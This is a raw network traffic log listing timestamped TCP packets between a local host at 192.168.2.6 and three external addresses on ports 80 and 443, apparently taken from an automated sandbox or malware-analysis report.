Aug 21, 2024 08:32:17.174901009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.175097942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175103903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175113916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175151110 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.175183058 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175193071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175200939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175220966 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175223112 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.175225973 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175255060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175265074 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175270081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175277948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.175293922 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.175304890 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.175309896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175314903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175326109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175331116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175352097 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.175359011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.175374985 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.175556898 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.197247028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197258949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197269917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197314978 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.197318077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197324991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197339058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197344065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197350025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.197381973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.197406054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197557926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.197900057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197909117 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.197915077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198014021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.198352098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198369980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198374987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198385954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198391914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198407888 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.198422909 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.198448896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198455095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198471069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198476076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198486090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198492050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198510885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.198544025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.198587894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198626041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198637009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198640108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.198643923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198654890 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198659897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198666096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.198676109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.198689938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.199196100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199202061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199215889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199220896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199225903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199232101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199237108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199242115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199245930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199250937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199256897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199260950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.199260950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199275970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199281931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199285984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199291945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199294090 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.199304104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.199326992 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.199343920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.225313902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.225321054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.225332022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.225358963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.225364923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.225393057 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.225430965 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.225450039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.225455046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.225466013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.225493908 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.225506067 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.229435921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229439974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229456902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229510069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.229531050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229536057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229546070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229557037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229562998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229585886 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.229613066 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.229676962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229711056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229727030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229732037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229734898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.229763031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.229789972 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.229850054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229855061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229865074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229870081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229875088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229883909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229901075 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.229932070 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.229959965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229965925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229974985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229979992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229984999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.229990959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.230010986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.230026007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.230036974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.230047941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.230096102 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.230115891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.230123997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.230134010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.230138063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.230171919 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.230216980 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.243634939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243640900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243650913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243712902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243722916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243727922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243732929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243738890 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243741989 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.243741989 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.243767977 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.243793011 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.243829012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243830919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243839025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243845940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243850946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243855953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.243874073 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.243899107 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.244319916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244326115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244334936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244416952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.244447947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244452953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244462967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244467974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244499922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.244513988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244518995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244524002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.244575977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244581938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244591951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244596004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244606972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244618893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244626045 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.244654894 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.244672060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.244721889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.244812012 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.244827986 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.244863033 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.244874954 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.244906902 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.244906902 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.245115042 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.245129108 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.245174885 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.245188951 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.245250940 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.245407104 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.245420933 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.245491028 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.245497942 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.245563984 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.245763063 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.245776892 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.245856047 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.245862007 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.246006012 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.246026993 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.246040106 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.246123075 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.246129990 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.246287107 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.246722937 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.246738911 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.246834993 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.246840954 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.246880054 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.246956110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.246962070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.246972084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.246977091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.246980906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.246984959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.246994972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247015953 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247035980 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247246981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247251987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247256994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247261047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247266054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247267962 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.247276068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247277021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247287035 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.247298956 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247330904 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247343063 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.247348070 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.247365952 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.247392893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247462988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247468948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247483015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247488022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247497082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247503042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247512102 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247524977 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247540951 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.247545958 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247733116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247795105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247806072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247843027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247850895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247854948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247859955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247884989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247886896 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247891903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247901917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.247911930 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.247927904 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.248104095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248152018 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.248188019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248193026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248205900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248214006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248215914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248225927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248245955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248250961 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.248275995 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.248298883 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.248922110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248927116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248938084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.248975039 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.248996019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.249021053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.249031067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.249037981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.249062061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.249064922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.249084949 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.249106884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.251028061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251033068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251038074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251090050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.251111984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251121998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251140118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251149893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251159906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251164913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.251185894 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.251199961 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.251261950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251267910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251280069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251283884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251312017 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.251318932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251328945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251333952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251334906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.251338005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.251365900 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.251386881 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.252192974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.252234936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.252279043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.252281904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.252289057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.252300024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.252311945 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.252345085 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.252386093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.252396107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.252402067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.252424955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.252454042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.252499104 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.252511978 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.252592087 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.252602100 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.252639055 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.253524065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.253529072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.253544092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.253586054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.253623009 CEST	49722	80	192.168.2.6	162.241.203.25
